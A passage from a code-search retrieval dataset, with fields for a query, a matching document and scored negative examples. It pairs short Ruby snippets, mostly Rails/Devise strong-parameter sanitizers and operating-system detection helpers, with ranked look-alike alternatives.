query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
If you have extra params to permit, append them to the sanitizer.
def configure_sign_up_params devise_parameter_sanitizer.for(:sign_up) << :first_name << :time_zone end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def devise_parameter_sanitizer; end", "def update_sanitized_params\n\t\t\tdevise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:name, :email, :password, :password_confirmation)}\n\t\tend", "def sign_up_params\n devise_parameter_sanitizer.sanitize(:sign_up)\n end", "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:password_confirmation ,:password ,:email, :role, :avatar, :avatar_cache, :remove_avatar, :invite_code, :firstname, :lastname)}\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def permit(*permitted)\n hardened_params = params.dup\n\n hardened_params.keep_if { |k, _v| permitted.flatten.include?(k.to_sym) }\n\n hardened_params.symbolize_keys\n end", "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:name, :email, :approved , :password, :password_confirmation,:approved, :role_ids => [], affiliate_person_attributes: [:name], :performer_attributes => [ :first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id, :white_label_id, :twitter_sign_in, :video_upload_twitter, :order_placed_twitter] )}\n devise_parameter_sanitizer.for(:account_update) {|u| u.permit(:name, :email, :password, :password_confirmation,:approved, :sign_in_twitter, :video_upload_twitter, :order_placed_twitter, :performer => [], :role_ids => [], :performer_attributes => [ :first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id, :white_label_id])}\n end", "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:email, :password, :password_confirmation, :phone)}\n devise_parameter_sanitizer.for(:account_update) {|u| u.permit(:email, :password, :password_confirmation, :phone)}\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def permit_all_params options = {}\n prepend_before_filter do\n self.params.deep_permit!\n end\n end", "def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def sanitized_allowed_attributes=(attributes); end", "def sanitized_allowed_attributes=(attributes); end", "def update_sanitized_params\n\t\tdevise_parameter_sanitizer.for(:sign_up) \t\t\t\t{ |u| u.permit(:name, :email, :password, :password_confirmation, :company, :role_type, :celp_no, :approval, :authorize) }\n\t\tdevise_parameter_sanitizer.for(:account_update) { |u| u.permit(:name, :email, :password, :password_confirmation, :current_password, :company, :role_type, :celp_no, :approval, :authorize) }\n\tend", "def student_params(*args) #is the helper method \n\n\t\tparams.require(:student).permit(*args)\n\t\t#uses .require and .permit methods as stronger params to prevent hacks through inspect element right click edit html \n\t\t#require restricts, permit allows, and *args is for the custom arguments\n\tend", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def devise_parameter_sanitizer\n if resource_class == User\n User::ParameterSanitizer.new(User, :user, params)\n else\n super\n end\n end", "def devise_parameter_sanitizer\n if resource_class == User\n User::ParameterSanitizer.new(User, :user, params)\n else\n super\n end\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def sanitize_attrs(attrs = {}, permitted = [])\n sanitized = {}\n attrs.each do |key, value|\n sanitized[key.to_s] = value if permitted.include?(key.to_s)\n end\n sanitized\n end", "def additional_permitted_params\n []\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def student_params\n params.require(:student).permit(:name, :sex, :birthplace, :birthdate, :phone, :email, :employment,\n :street_address, :district, :regency_city, :religion, :registered_at,\n :avatar, :crop_x, :crop_y, :crop_w, :crop_h).tap do |whitelisted|\n if params[:student][:biodata]\n whitelisted[:biodata] = params[:student][:biodata]\n end\n end\n end", "def user_strong_params\n html_safe(params[:user]).strip\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def update_sanitized_params\n\t\t\tif \"#{resource_name}\" == \"lecturer\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department,\n\t\t\t\t\t\t:profile_image, :profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"student\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|student| student.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|student| student.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"teaching_assistant\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:email, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:current_password, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\tend\n\t\tend", "def quote_params\n params.permit!\n end", "def configure_permitted_parameters\n extra_params = [:full_name, :programme, :student_number]\n devise_parameter_sanitizer.for(:sign_up).push(*extra_params)\n devise_parameter_sanitizer.for(:account_update).push(*extra_params)\n end", "def post_card_params\n params[:post_card].permit!\n end", "def sanitize_params(params = params)\n params = walk_hash(params) if params\n end", "def expected_permitted_parameter_names; end", "def white_params\n params.require(:therapist).permit(Therapist.therapist_whitelist, \n therapist_availability_attributes:Therapist.therapist_availability_whitelist, \n therapist_availability_rec_attributes:Therapist.therapist_recurring_whitelist)\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def permit_params_on_create *keys\n filter_strong_params :permit, [:create], keys\n end", "def sanitize_params(params = params)\n params = walk_hash(params) if params\n end", "def surgery_params\n params.require(:surgery).permit(:name)\n end", "def safe_params\n params.require(:youtube_search).permit(:search_terms, :alert_on_new_result)\n end", "def post_params\n permit_params\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def update_sanitized_params\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :adress, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n \n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def sanitize!(request)\n [ :path, :query, :body ].each do |name|\n send(\"#{name}_parameters\").sanitize_object!(request.params)\n end\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def surgical_params\n params.require(:surgical).permit(Surgical.safe_attributes)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << :terms_of_service << :first_name << :last_name\n devise_parameter_sanitizer.for(:account_update) << :first_name << :last_name\n end", "def safe_params\n safe_attributes = %i[name key]\n params.require(:role).permit(safe_attributes)\n end", "def permitted_params\n if is_singleton?\n singleton_permitted_params\n else\n params.require(:data).permit(allowed_resource_params.to_a)\n end\n end", "def submission_params\n allowed = :student_number, :last_name, :first_name, :week, :hours, :comments, :email, :github, :challenging\n (1..Course.current.exercises_max).each do |i|\n allowed << \"a#{i}\".to_s\n end\n params.require(:submission).permit(allowed)\n end", "def less_active_member_params\n clean_params = params.require(:less_active_member).permit(:surname, :given_name, :current_address, :new_address, :new_phone, :reference, :new_note, :resources, tag_list: [])\n clean_params.merge!({current_user_id: current_user.id}) unless current_user.nil?\n end", "def csrfattack_params\n params.require(:csrfattack).permit(:professor, :vote)\n end", "def sanitize_params(form_params)\n super.tap do |params|\n params['title'] = Array.wrap(params['title']) if params.key?('title')\n params['description'] = Array.wrap(params['description']) if params.key?('description')\n end\n end", "def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name username technology_id secondary_technology])\n end", "def build_permitted_params\n super + [\n { date_of_work_attributes: permitted_time_span_params },\n { inscription_attributes: permitted_inscription_params },\n { additional_credit_attributes: permitted_additional_credit_params },\n after: [],\n artist: [],\n attributed_to: [],\n author: [],\n addressee: [],\n creator_of_work: [],\n contributor: [],\n editor: [],\n engraver: [],\n interviewee: [],\n interviewer: [],\n manner_of: [],\n school_of: [],\n manufacturer: [],\n photographer: [],\n printer: [],\n printer_of_plates: [],\n publisher: [],\n place_of_interview: [],\n place_of_manufacture: [],\n place_of_publication: [],\n place_of_creation: [],\n ]\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:fname, :lname, :avatar, :avatar_cache, :bio, :school, :job, :nickname, :grade, :major, :hometown])\n end", "def post_params(*args)\n params.require(:student).permit(*args)\n end", "def anonymous_filter_params\n p = params.required('payload')\n # p.permit!('controls_params')\n # p.permit!('columns_params')\n # p.permit!('sorting')\n # p.permit!('global_config')\n p.permit(\n 'name',\n 'controls_list' => [],\n 'controls_hl_mode' => [],\n 'controls_params' => {},\n 'columns_list' => [],\n 'columns_params' => {},\n 'sorting' => {},\n 'global_config' => {}\n ).merge(permit_hashes(p, [\n 'controls_params',\n 'columns_params',\n 'sorting',\n 'global_config'\n ]))\n end", "def additional_subject_params\n params.permit(:name)\n end", "def hack_params\n params.require(:hack).permit(:title, :body, :tag_list, :tag)\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up,\n keys: [:face_image, :worker_number, :name, :name_kana, :trade_name, :phone, :address_zip, :address, :warehouse_zip, :warehouse, :warehouse_info, :inaba,\n :yodo, :takubo, :ykkap, :sankyo, :lixil])\n end", "def permit_attributes\n params.require(resource_as_param_key).permit(*permitted_attributes)\n end", "def student_params\n params.require(:student).permit!\n end", "def visit_params\n params.require(:visit).permit(*allowable)\n end", "def special_params\n params.require(:special).permit(:info)\n end", "def safe_movie_params\n\t\treturn params.require(:movie).permit(:title, :description, :year_released)\n\tend", "def user_pleasure_params\n params.permit(:title)\n end", "def full_sanitizer=(_arg0); end", "def full_sanitizer=(_arg0); end", "def full_sanitizer=(_arg0); end", "def configure_account_update_params\n devise_parameter_sanitizer.for(:account_update) << :first_name << :last_name << :phone_number\n end", "def surgery_params\n\t\t# Permitting the profile photo params\n\t\tparams.require(:surgery).permit(:name)\n\tend", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:fname, :lname, :avatar, :bio, :school, :job, :nickname, :grade, :major, :hometown])\n end", "def string_enforcer_params\n params.fetch(:string_enforcer, {})\n end", "def update_params\n permitted = params.permit(*common_params,\n annotated_students_attributes:\n %i[id student_id _destroy])\n permitted[:annotated_students_attributes] = [] if @annotation.is_group\n permitted\n end", "def sanitizer\n if options = sanitization\n @sanitizer ||= options.to_sanitize\n end\n end", "def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:username, :fname, :lname, :avatar, :bio, :street, :city, :state, :country, :lat, :lng])\n end", "def configure_permitted_parameters\n added_attrs = [:email, :password, :password_confirmation, :name, :description, :age, :gender,\n :favorite_movie, :favorite_food, :favorite_song, :job_title, :hobbies, :school, :social_media_link,\n :snap_chat_name, :allow_male, :allow_female, :allow_other]\n devise_parameter_sanitizer.permit :sign_up, keys: added_attrs\n devise_parameter_sanitizer.permit :account_update, keys: added_attrs\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [\n :name, :current_profession, :years_experience,\n :desired_profession, :desired_location, :work_status\n ]\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:practice, :last_name, :first_name, :email, :phone, :birthday, :gender, :password,\n :password_confirmation, :avatar, :avatar_cache, :remove_avatar, address_attributes: [ :id, :postcode, :prefecture, :city, :street, :building ]])\n end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:api_key, :home_zip_code, :full_name, :found_option])\n end", "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:name, :email, :password, :password_confirmation, :current_password, :role_ids, :performer_attributes => [:first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id ,:description, :white_label_id, :clip_category_performers_attributes => [:id, :clip_category_ids]])\n end\n Rails.logger.info'****************************************'\n end", "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << [:firstname, :lastname, :ucard, :course, :level]\n devise_parameter_sanitizer.for(:account_update) << [:firstname, :lastname, :ucard, :course, :level]\n\n end", "def unsanitised_user_params\n params.require(:user).permit(\n :name,\n :email,\n :organisation_id,\n :invitation_token,\n :password,\n :password_confirmation,\n :require_2sv,\n :role,\n supported_permission_ids: [],\n ).to_h\n end", "def param_whitelist\n [:rating, :review]\n end" ]
[ "0.6905034", "0.683687", "0.68280804", "0.67889357", "0.6674015", "0.66522104", "0.66448265", "0.6595933", "0.65606564", "0.64921725", "0.6489163", "0.64781183", "0.64483696", "0.64394945", "0.6419598", "0.6419251", "0.63999707", "0.63977224", "0.63977224", "0.63934815", "0.6381383", "0.63552105", "0.6351666", "0.63470167", "0.6263344", "0.62456423", "0.6201932", "0.6201932", "0.61927104", "0.61919683", "0.6170647", "0.6156662", "0.61398244", "0.61027503", "0.6095907", "0.6092075", "0.60888684", "0.60829175", "0.6078085", "0.6074742", "0.6032367", "0.5991786", "0.597175", "0.5967426", "0.59671617", "0.596185", "0.5957206", "0.5954368", "0.5938198", "0.59285605", "0.5927781", "0.59138155", "0.59032714", "0.58997184", "0.58978087", "0.5896996", "0.58940434", "0.5887589", "0.5887006", "0.588294", "0.58775926", "0.58737236", "0.5871206", "0.5870724", "0.586412", "0.58603865", "0.5850765", "0.58469373", "0.5843961", "0.58388746", "0.5837621", "0.58303636", "0.5808892", "0.5802483", "0.57949424", "0.5791214", "0.5791014", "0.57847995", "0.5782731", "0.5781977", "0.57755154", "0.5772579", "0.5772579", "0.5772579", "0.5769446", "0.5766719", "0.5758603", "0.575704", "0.5756578", "0.57548386", "0.57541984", "0.57518667", "0.5751863", "0.5748482", "0.5746564", "0.5744878", "0.5743098", "0.5728885", "0.5727657", "0.57257277", "0.572434" ]
0.0
-1
your code goes here
def begins_with_r(array) array.each do |item| if item[0] != "r" return false end end true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def apply\n\t\t\t\t\n\t\t\tend", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run\n end", "def run\n \n end", "def run\n \n end", "def run\n end", "def custom; end", "def custom; end", "def guct\n end", "def apply\n\t\t\n\tend", "def apply\n\t\t\n\tend", "def post_process; end", "def run() end", "def processor; end", "def run\n end", "def perform\n \n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def probers; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def run\n end", "def run\n end", "def formation; end", "def myletter\n \n end", "def suivre; end", "def operations; end", "def operations; end", "def schubert; end", "def hd\n \n end", "def process\n end", "def who_we_are\r\n end", "def terpene; end", "def do()\r\n\tend", "def private; end", "def design\r\n \r\n end", "def villian; end", "def post_process\n end", "def draw\n\t\t\n\tend", "def draw\n\t\t\n\tend", "def draw\n\t\t\n\tend", "def draw\n\t\t\n\tend", "def weber; end", "def refresh; end", "def run()\n end", "def method\n\t\t# code code\n\tend", "def style; end", "def style; end", "def style; end", "def renderer; end", "def draw\n\t\t\t\t\n\t\t\tend", "def render; end", "def render; end", "def render; end", "def render; end", "def render; end", "def running; end", "def running; end", "def start\n fill_field\n output\n end", "def stats\n \n end", "def functions\n\n end", "def after_processing_hook; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def relatorios\n end", "def runs; end", "def r; end", "def r; end", "def retire\n\n end", "def run\n super\n end", "def run\n super\n end", "def call\n\n\tend", "def call\n\n\tend", "def eplore\n end", "def how_it_works\r\n end", "def transformations; end", "def theme; end" ]
[ "0.6193367", "0.61824477", "0.61824477", "0.61824477", "0.61824477", "0.61824477", "0.61824477", "0.61824477", "0.61824477", "0.61824477", "0.6169166", "0.6124124", "0.6124124", "0.6094903", "0.60627353", "0.60627353", "0.5983734", "0.5979919", "0.5979919", "0.5897549", "0.58969694", "0.5852317", "0.5844524", "0.5798976", "0.5756644", "0.5756644", "0.5756644", "0.5756644", "0.5756644", "0.5756644", "0.5756644", "0.574414", "0.57338923", "0.57338923", "0.57338923", "0.57338923", "0.57338923", "0.57338923", "0.57338923", "0.57338923", "0.5726099", "0.5726099", "0.5715087", "0.5708442", "0.56949186", "0.5678857", "0.5678857", "0.56764156", "0.5665351", "0.5600804", "0.55861574", "0.55806184", "0.55736864", "0.5562873", "0.55592406", "0.5556758", "0.554894", "0.5539784", "0.5539784", "0.5539784", "0.5539784", "0.5536286", "0.55243176", "0.5517645", "0.5510248", "0.5508596", "0.5508596", "0.5508596", "0.5501536", "0.5487237", "0.5485476", "0.5485476", "0.5485476", "0.5485476", "0.5485476", "0.54741", "0.54741", "0.54687905", "0.5467612", "0.54544365", "0.54318213", "0.54277104", "0.54277104", "0.54277104", "0.54277104", "0.54277104", "0.54277104", "0.54277104", "0.5421624", "0.5421549", "0.5419819", "0.5419819", "0.54132044", "0.54057163", "0.54057163", "0.54048264", "0.54048264", "0.54031587", "0.5396586", "0.5392026", "0.53830034" ]
0.0
-1
required for jenkins.rb or if there is a specific operating system in the config file
def osdeps_operating_system= (os) raise RuntimeError, "#{self.class} needs to overwrite osdeps_operating_system=" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def determine_os\n @os = 'linux'\n end", "def determine_os\n @os = \"linux\"\n end", "def define_os\n @os ||= (\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n :windows\n when /darwin|mac os/\n :macosx\n when /linux/\n :linux\n when /solaris|bsd/\n :unix\n else\n raise GetMeSubsError.new(\"Unknown os: #{host_os.inspect}\")\n end\n )\n end", "def check_os\n @os ||= (\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n :windows\n when /darwin|mac os/\n :macosx\n when /linux/\n :linux \n when /solaris|bsd/\n :unix\n else\n raise Error::WebDriverError, \"unknown os: {host_os.inspect}\"\n end\n )\nend", "def host_os\n @os ||= (\n case RbConfig::CONFIG['host_os']\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n :windows\n when /darwin|mac os/\n :macosx\n when /linux/\n :linux\n when /solaris|bsd/\n :unix\n else\n raise \"Unknown os: #{RbConfig::CONFIG['host_os']}\"\n end\n )\n end", "def os \n @os ||= (\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /mswin|msys|mingw|bccwin|wince/\n :windows\n when /darwin|mac os|linux|solaris|bsd/\n :nix\n else\n raise Error::WebDriverError, \"unknown os: #{host_os.inspect}\"\n end\n)\nend", "def determine_os\n scp(:source => Provision::Bootstrapper.determine_os_script, :destination => \"/tmp\")\n o = run(\"chmod +x /tmp/determine_os.sh; /bin/sh /tmp/determine_os.sh\").chomp\n o.empty? ? :ubuntu : o\n end", "def os\n @os ||= (\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n :windows\n when /darwin|mac os/\n :macosx\n when /linux/\n :linux\n when /solaris|bsd/\n :unix\n else\n raise Error::WebDriverError, \"unknown os: #{host_os.inspect}\"\n end\n )\nend", "def get_os\n if RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\n return :Windows\n elsif RbConfig::CONFIG['host_os'] =~ /darwin/\n return :Mac\n elsif RbConfig::CONFIG['host_os'] =~ /linux/\n return :Linux\n elsif RbConfig::CONFIG['host_os'] =~ /bsd/\n return :BSD\n else\n return :unknown_os\n end\nend", "def os\n Facter.value(:operatingsystem)\n end", "def my_os\n if ENV['LAUNCHY_HOST_OS'] then\n Launchy.log \"#{self.name} : Using LAUNCHY_HOST_OS override of '#{ENV['LAUNCHY_HOST_OS']}'\"\n return ENV['LAUNCHY_HOST_OS']\n else\n ::Config::CONFIG['host_os']\n end\n end", "def os\n @os ||= (\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /darwin|mac os/\n :macosx\n when /linux/\n :linux\n when /solaris|bsd/\n :unix\n else\n raise Error::WebDriverError, \"Non supported os: #{host_os.inspect}\"\n end\n )\nend", "def sensible_os?\n\n return ::RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? false : true\n\n end", "def linux?\n @linux ||= is? /linux|cygwin/\n end", "def host_os; end", "def host_os; end", "def linux? ; RUBY_PLATFORM =~ /linux/i end", "def myOs\n if OS.windows?\n \"Windows\"\n elsif OS.linux?\n \"Linux\"\n elsif OS.mac?\n \"Osx\"\n else\n \"Não consegui indentificar!\"\n end\nend", "def linux?\n unix? and not mac?\n end", "def supported_platform?\n linux? || darwin?\n end", "def linux?\n unix? and not mac?\n end", "def linux?\n %w(debian redhat ubuntu).include?(os[:family])\nend", "def windows?\n RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\nend", "def platform; RUBY_PLATFORM; end", "def test_Enviroment_002_isPlatform\r\n\r\n puts2(\"\")\r\n puts2(\"#######################\")\r\n puts2(\"Testcase: test_Enviroment_002_isPlatform\")\r\n puts2(\"#######################\")\r\n\r\n puts2(\"Running Ruby for Windows: \" + is_win?.to_s)\r\n puts2(\"Running Ruby for Windows 32-bit: \" + is_win32?.to_s)\r\n puts2(\"Running Ruby for Windows 64 bit: \" + is_win64?.to_s)\r\n puts2(\"Running Ruby for Linux: \" + is_linux?.to_s)\r\n puts2(\"Running Ruby for OS/X: \" + is_osx?.to_s)\r\n puts2(\"Running on JRuby: \" + is_java?.to_s)\r\n\r\n end", "def unix?\n not windows? and not java?\n end", "def linux?\n RUBY_PLATFORM =~ /linux/i\nend", "def platform_opts\n case platform\n when 'alpine'\n alpine\n when 'rhel', 'centos', 'fedora'\n rhel\n when 'debian', 'ubuntu'\n debian\n else\n raise \"Unknown platform for #{@name} using #{@image}\"\n end\n end", "def windows?\n RbConfig::CONFIG['host_os'] =~ /mswin|msys|mingw32|windows/i\nend", "def windows?\n\tRbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\nend", "def on_os name\n os_kernel = `uname -a`\n os_kernel.downcase.include?(name)\nend", "def isLinux()\n RUBY_PLATFORM.include? \"linux\"\nend", "def windows?\n (defined?(RbConfig) ? RbConfig : Config)::CONFIG['host_os'] =~ /mswin|win32|dos|mingw|cygwin/i\n end", "def is_unix_like?\n os_type !~ /^\\s*windows\\s*$/i\n end", "def valid_os_or_current(os)\n if os\n os = os.to_sym\n oses = U3dCore::Helper.operating_systems\n raise \"Specified OS (#{os}) isn't valid [#{oses.join(', ')}]\" unless oses.include?(os)\n else\n os = U3dCore::Helper.operating_system\n end\n os\n end", "def only_test_os\n if ENV.key?('ONLY_OS')\n ENV['ONLY_OS'].split(',')\n end\nend", "def ruby_platform_osname\n return unless Object.const_defined? :RUBY_PLATFORM\n\n case RUBY_PLATFORM\n when /darwin/ # macOS\n :macos\n when /linux/\n :linux\n when /mingw/\n :windows\n when /openbsd/\n :openbsd\n end\n end", "def linux?\n RUBY_PLATFORM =~ /linux/\n end", "def is_nix_os?\n RbConfig::CONFIG[\"host_os\"] =~ /linux|freebsd|darwin|unix/\n end", "def linux?\n kind_of? Unix::Platform rescue false\n end", "def linux?\n /linux/.match(RUBY_PLATFORM)\n end", "def linux?\n @linux\n end", "def platform\n \"win\"\n end", "def linux?\n RUBY_PLATFORM.match(/linux/)\n end", "def ruby_platform\n case RUBY_PLATFORM\n when /win32|mswin|mingw/\n # Works on Windows XP, 2003, 7, 8 running Ruby 1.8.6 & 1.8.7, 1.9.2, 1.9.3 & 2.0.0 installed from RubyInstaller\n # Can't match for just 'win' cause it will match darwin as well.\n 'windows'\n when 